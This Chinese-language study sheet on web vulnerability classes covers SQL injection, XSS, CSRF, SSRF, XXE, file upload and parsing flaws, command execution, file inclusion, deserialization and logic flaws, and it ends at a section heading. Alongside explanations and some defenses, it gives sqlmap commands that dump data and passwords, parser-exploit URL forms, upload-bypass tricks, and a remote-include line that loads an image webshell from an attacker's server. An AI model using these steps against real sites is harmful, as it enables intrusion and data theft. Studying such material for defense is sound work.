漏洞类型
-
信息收集
-
漏洞挖掘
-
漏洞利用
-
权限提升
-
权限维持
-
漏洞分类
SQL注入
XSS攻击
CSRF漏洞
SSRF漏洞
XXE漏洞
文件包含:本地文件包含和远程文件包含
文件解析
文件上传
文件下载
命令执行&代码执行
反序列化漏洞
业务逻辑漏洞
未授权访问
URL跳转漏洞
弱口令
SQL注入
1.概念
SQL注入是指Web应用程序对用户输入数据的合法性未进行判断、处理,前端传入的参数是攻击者可控的,并且参数被正常的带入到数据库查询,攻击者可以通过构造不同的SQL语句来进行对数据库的操作,正常情况下,攻击者可以对数据库进行高危操作,例如,数据查询、WebShell写入、命令执行等操作。
2.原理
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱库、被删除、甚至整个服务器权限沦陷)。 一句话概括:注入产生的原因是接受相关参数未经过滤直接带入数据库查询操作。
3.类型
按数据库类型:Access、MsSQL、MySQL、Oracle、DB2等
按提交方式:GET、POST、cookie、HTTP头、XFF
按注入点类型:数字型、字符型、搜索型
按执行效果:布尔盲注、时间盲注、报错注入、联合注入、堆叠查询注入
4.相关语句
-
查询当前数据库版本:select version();
-
查询当前数据库:select database();
-
查询当前路径:select @@basedir;
-
查询当前数据库用户:select user();
-
查询当前MySQL路径:select @@datadir;
-
查询服务器的系统版本:select@@Version_compile_os;
-
查询数据库:select schema_name from information_schema.schemata;
-
查询表名:select table_name from information_schema.tables where table_schema='库名' limit 0,1;
-
查询列名:select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1;
5.SQLMAP的使用
-
注入判断 - - sqlmap.py -u url
-
查询当前站点使用的数据库 - - sqlmap.py -u url --current-db
-
查询当前用户下所有数据库 - - sqlmap.py -u url --dbs
-
查询表名 - - sqlmap.py -u url -D dbname --tables
-
查询字段名 - - sqlmap.py -u url -D dbname -T tablename --columns
-
查询字段内容 - - sqlmap.py -u url -D dbname -T tabalename -C olumnname --dump
-
查询数据库的所有用户(当前用户有读写权限) - - sqlmap.py -u url --users
-
查询数据库用户的密码(当前用户有读取权限) - - sqlmap.py -u url --password
-
查询当前数据库用户名称 - - sqlmap.py -u url --current-user
-
指定数据库类型 - - sqlmap.py -u url -dbms=mysql/oracle/mssql
-
判断用户是否为管理员 - - sqlmap.py -u url --is-dba - 返回为结果为true时,当前数据库用户为root,返回结果为false则相反
XSS跨站攻击
XSS 攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS) 的缩写混淆,故将跨站脚本攻击缩写为 XSS,XSS 是一种在 web 应用中的计算机安全漏洞,它允许恶意 web 用户将代码植入到 web 网站里面,供给其它用户访问,当用户访问到有恶意代码的网页就会产生 xss 攻击;
XSS原理
跨网站脚本(Cross-site scripting,XSS)又称为跨站脚本攻击,是一种经常出现在Web应用程序的安全漏洞攻击,也是代码注入的一种。XSS是由于Web应用程序对用户的输入过滤不足而产生的,攻击者利用网站漏洞把恶意的脚本代码注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害者用户可能采取Cookie窃取、会话劫持、钓鱼欺骗等各种攻击。这类攻击通常包含了HTML以及用户端脚本语言。
危害
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号; 2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力 ; 3、盗窃企业重要的具有商业价值的资料 ; 4、非法转账 ; 5、强制发送电子邮件 ; 6、网站挂马 ; 7、控制受害者机器向其它网站发起攻击 ;
类型
反射型 XSS,非持久化,需要欺骗用户自己去点击链接才能触发 XSS 代码,反射型 xss 攻击的方法,攻击者通过发送邮件或诱导等方法,将包含有 xss 恶意链接发送给目标用户,当目标用户访问该链接时,服务器将接收该用户的请求并进行处理,然后服务器把带有 xss 恶意脚本发送给目标用户的浏览器,浏览器解析这段带有 xss 代码的恶意脚本后,就会触发 xss 攻击;
存储型 XSS,持久化,代码是存储在服务器中的数据库里,如在个人信息或发表文章等地方,可以插入代码,如果插入的数据没有过滤或过滤不严,那么这些恶意代码没有经过过滤将储存到数据库中,用户访问该页面的时候,没有进行编码过滤输出到浏览器上,就会触发代码执行,造成 xss 攻击
可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。 DOM 型 XSS 其实是一种特殊类型的反射型 XSS,它是基于 DOM 文档对象模型的一种漏洞 也就是说,客户端的脚本程序可以通过 DOM 来动态修改页面内容,从客户端获取 DOM 中的数据并在本地执行。基于这个特性,就可以利用 JS 脚本来实现 XSS 漏洞的利用;
CSRF攻击
CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。. 利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。
修改客户端
原理
用户打开浏览器访问登陆受信任的 A 网站,网站发送cookie给浏览器,用户没有退出网站A,访问网站B,网站B向用户A发送一个有危害访问网站A的请求,网站 A 会根据 cookie 信息以用户的权限去处理该请求,导致来自网站 B 的恶意代码被执行;
防御方案
-
增加 Token 验证(常用做法)
-
对关键操作增加 Token 参数,token 必须随机,每次都不一样;
-
关于安全的会话管理(避免会话被利用)
-
不要在客户端保存敏感信息(比如身份验证信息); 退出、关闭浏览器时的会话过期机制 ;
-
设置会话过机制,比如 15 分钟无操作,则自动登录超时;
-
访问控制安全管理
-
敏感信息的修改时需要身份进行二次认证,比如修改账号密码,需要判断旧密码; 敏感信息的修改使用 POST,而不是 GET;
-
通过 HTTP 头部中的 REFERER 来限制原页面;
-
增加验证码
-
一般在登录(防暴力破解),也可以用在其他重要信息操作的表单中(需要考虑可用性);
SSRF攻击(修改服务端)
概念
即服务端请求伪造,从字面意思上理解就是伪造一个服务端请求,也即是说攻击者伪造服务端的请求发起攻击,攻击者借由服务端为跳板来攻击目标系统。该漏洞是由于没有对输入的内容进行校验,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SSRF攻击,最终造成任意读取服务器上的文件。
原理
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。SSRF是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。
危害
SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件。
高危函数: curl_exec() file_get_contents() fsockopen()
攻击方式
无视CDN 进行跳板 利用 file 协议读取本地文件等... 攻击运行在内网或本地的应用程序... 利用Redis未授权访问,HTTP CRLF注入实现GetShell 对内网 Web 应用进行指纹识别,识别企业内部的资产信息... 对外网服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息... 攻击内外网的 Web 应用,主要是使用 HTTP GET 请求就可以实现的攻击(比如 struts2、SQli等)....
XXE注入
XXE即XML外部实体注入,由上面可知,外部实体指的就是DTD外部实体,而造成XXE的原因是在解析XML的时候,对恶意的外部实体进行解析导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害
漏洞利用
读取敏感文件 使用 php 伪协议 php://filter 读取文件 扫描内网和端口
文件上传漏洞
文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的用户可以越过其本身权限向服务器上传可执行的动态脚本文件。如常见的头像上传,图片上传,oa 办公文件上传,媒体上传,允许 用户上传文件,如果过滤不严格,恶意用户利用文件上传漏洞,上传有害的可以执行脚本文件到服务器中, 可以获取服务器的权限,或进一步危害服务器;
文件解析漏洞
解析漏洞是指web服务器因对http请求处理不当导致将非可执行的脚本,文件等当做可执行的脚本,文件等执行。该漏洞—般配合服务器的文件上传功能使用,以获取服务器的权限。
(1)IIS5.x-6.x解析漏洞
基于文件名原理
该版本默认将*.asp;.jpg 此种格式的文件名,当成Asp解析。服务器默认不解析 ; 号及其后面的内容,相当于截断。
iis除了会将asp解析成脚本执行文件之外,还会将 cer cdx asa扩展名解析成asp;
基于文件夹原理
该版本默认将 *.asp/ 目录下的所有文件当成Asp解析;
解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx
(2)IIS7.5解析漏洞
IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。
(3)apache解析漏洞
漏洞原理
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如test.php.qwe.asd “.qwe”和”.asd” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.qwe.asd解析成php。
漏洞形式
www.xxxx.xxx.com/test.php.php123
(4)Nginx解析漏洞
1)漏洞原理:
该漏洞是由于Nginx中php配置不当而造成的,与Nginx版本无关,但在高版本的php中,由于 security.limit_extensions的引入,使得该漏洞难以被成功利用。
在已经上传了恶意1.jpg文件后,访问/1.jpg/xxx.php,(路径修复cgi.fix_pathinfo=1后)使得Nginx将其解析为php文件传给php-cgi程序(传给路径位于SERVER["SCRIPT_FILENAME"],修复去除路径位于 SERVER["PATH_INFO"]),但cgi程序将其解析为1.jpg并执行。
3)漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
命令执行&代码执行
命令执行漏洞原理
应用有时需要调用一些执行系统命令的函数,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
利用条件
应用调用执行系统命令的函数
将用户输入作为系统命令的参数拼接到了命令行中
没有对用户输入进行过滤或过滤不严
高危函数
system、exec、shell_exec、passthru、popen、proc_popen
漏洞危害
-
继承 Web 服务器程序的权限,去执行系统命令;
-
继承 Web 服务器程序的权限,读写文件;
-
反弹 shell ;
-
控制整个网站 ;
-
甚至控制整个服务 。
命令连接符
;分号 |管道符号 &后台任务符号 &&逻辑与 ||逻辑或 ` 反引号
代码执行漏洞原理
当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能够控制这个字符串,将造成代码注入漏洞。
高危函数
eval、assert、preg_replace、create_function、array_map、call_user_func/call_user_func_array、array_filter、usort()、uasort()
文件包含漏洞
站点程序将包含的文件设置成变量并未对用户恶意包含的文件进行严格的过滤导致被包含执行文件中的代码从而造成代码执行的漏洞
相关函数
include(): 当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行;
include_once(): 功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次;
require():require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行;
使用require()函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到该函数时才调用;
require_once():它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次;
本地文件包含
上传图片马(Copy 1.jpg/b+1.php/a 2.jpg)至网站-->index.php?include=/uploads/2.jpg
远程文件包含
上传图片马至黑客VPS开启HTTP服务-->index?phpinclude=http://laosec.cn:8080/2.jpg,能够通过url地址对远程的文件进行包含,地址放到蚁剑里面链接
文件上传漏洞
文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的用户可以越过其本身权限向服务器上传可执行的动态脚本文件。如常见的头像上传,图片上传,oa 办公文件上传,媒体上传,允许 用户上传文件,如果过滤不严格,恶意用户利用文件上传漏洞,上传有害的可以执行脚本文件到服务器中, 可以获取服务器的权限,或进一步危害服务器;
危害
非法用户可以上传的恶意文件控制整个网站,甚至是控制服务器,这个恶意脚本文件,又被称为 webshell, 上传 webshell 后门很方便地查看服务器信息,查看目录,执行系统命令等;
修复方案
-
在网站中需要存在上传模块,需要做好权限认证,不能让匿名用户可访问;
-
文件上传目录设置为禁止脚本文件执行。这样设置即使被上传后门的动态脚本也不能解析,导致攻击 者放弃这个攻击途径;
-
设置上传白名单,白名单只允许图片上传如,jpg png gif 其他文件均不允许上传;
-
上传的后缀名,一定要设置成图片格式如 jpg png gif
文件上传绕过
绕过前端 js 检测上传,绕过 contnet-type 检测上传 , 绕过黑名单上传,htaccess 重写解析绕过上传, 大小写绕过上传,空格绕过上传攻击, 利用 windows 系统特征绕过上传,NTFS 交换数据流::$DATA 绕过上传, 利用 windows 环境的叠加特征绕过上传,双写后缀名绕过上传 目录可控%00 截断绕过上传(GET),目录可控%00 截断绕过上传(POST) 文件头检测绕过上传 ,绕过图片二次渲染上传 文件上传条件竞争漏洞绕过,文件名可控绕过上传,数组绕过上传
防御方法
-
服务器端使用白名单防御;
-
修复 web 中间件的漏洞;
-
禁止客户端存在可控参数;
-
存放文件目录禁止脚本执行;
-
限制后缀名;
-
一定要设置图片格式 jpg、gif 、 png 文件名随机的,不可预测;
反序列化漏洞
反序列化漏洞是基于序列化和反序列化的操作,在反序列化——unserialize()时存在用户可控参数,而反序列化会自动调用一些魔术方法,如果魔术方法内存在一些敏感操作例如eval()函数,而且参数是通过反序列化产生的,那么用户就可以通过改变参数来执行敏感操作,这就是反序列化漏洞。
魔术方法
_construct() 当创建对象时触发,一般用于初始化对象,对变量赋初值 _sleep() 使用serialize()时自动触发 _wakeup() 使用unserialize()时自动触发 _destruct() 当一个对象被销毁时触发 _toString() 当一个类被当成字符串使用时触发 _invoke() 当尝试以调用函数的方式调用一个对象时触发 _call() 在对象上下文中调用不可访问的方法时触发 _callStatic() 在静态上下文中调用不可访问的方法时触发 _get() 用于从不可访问的属性读取数据 _set() 用于将数据写入不可访问的属性 _isset() 在不可访问的属性上调用isset()或empty()触发 _unset() 在不可访问的属性上使用unset()时触发
业务逻辑漏洞
业务逻辑问题是一种设计缺陷。逻辑缺陷表现为设计者或开发者在思考过程中做出的特殊假设存在明显或隐含的错误。
种类
密码找回漏洞
1)密码允许暴力破解
2)存在通用型找回凭证、
3)可以跳过验证步骤、
4)找回凭证可以拦包获取等方式来通过厂商提供的密码找回功能来得到密码。
身份认证漏洞中最常见的是
1)会话固定攻击
2) Cookie 仿冒
只要得到 Session 或 Cookie 即可伪造用户身份。验证码漏洞中存在
1)验证码允许暴力破解
2)验证码可以通过 Javascript 或者改包的方法来进行绕过
危害
-
短信轰炸
-
电话轰炸
-
邮箱轰炸
-
恶意用户注册
-
恶意上传
-
恶意评论
越权漏洞
-
越权漏洞是web应用程序中一种常见的安全漏洞;
-
他的威胁在于一个账户即可控制全站用户数据;
-
当然这些数据仅限于存在漏洞功能对应的数据;
-
越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查时对客户端请求的数据过分相信而遗漏了权限的判定;
-
所以测试越权就是和开发人员讲细心的过程。
平行越权
攻击者请求操作(增、删、改、查)某条数据时,Web 应用程序没有判断该数据所有人,或者在判断数据所有人时直接从用户提交的表单参数中获取(如用户ID)导致攻击者可以自行修改参数(用户ID)操作部署于自己的数据。
垂直越权